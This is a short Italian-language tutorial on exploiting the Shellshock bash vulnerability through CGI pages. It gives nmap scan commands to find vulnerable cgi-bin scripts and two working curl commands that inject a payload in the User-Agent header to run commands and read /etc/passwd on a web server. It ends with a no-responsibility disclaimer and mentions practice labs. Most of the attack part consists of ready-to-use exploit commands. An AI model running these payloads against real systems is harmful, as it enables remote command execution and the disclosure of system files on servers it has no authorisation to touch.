Sfruttamento di Shellshock (CVE-2014-6271)

Shellshock è di fatto una vulnerabilità di Remote Command Execution in BASH. Questo script sfrutta la vulnerabilità nell'ambiente web su Apache o simili con mod_cgi abilitato. La vulnerabilità risiede nella manipolazione delle variabili d'ambiente, che sono valori dinamici nominati che influenzano il modo in cui i processi vengono eseguiti su un computer. Gli attaccanti possono sfruttarla allegando codice malevolo alle variabili d'ambiente, che viene eseguito alla ricezione della variabile. Ciò consente agli attaccanti di compromettere potenzialmente il sistema.

Laboratorio per testare la vulnerabilità

• PentesterLab

• VulnHub

• TryHackMe

  

Trova le pagine CGI-BIN:

$ nmap 192.168.x.x --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
$ nmap -sV -p- --script http-shellshock 192.168.x.x
$ nmap -sV -p- --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls 192.168.x.x

Test manuale:

sudo curl -H "User-Agent: () { :; }; /bin/cat /etc/passwd" <WEBSERVER-IP>
sudo curl -A "() { :;}; echo Content-Type: text/html; echo; /bin/cat /etc/passwd;" <WEBSERVER-IP>

Avviso:

Non sono responsabile per qualsiasi uso illegale o danno causato da questo strumento. È stato scritto per divertimento, non per il male, ed è inteso a sensibilizzare su hacking e cybersicurezza

Buon Hacking :)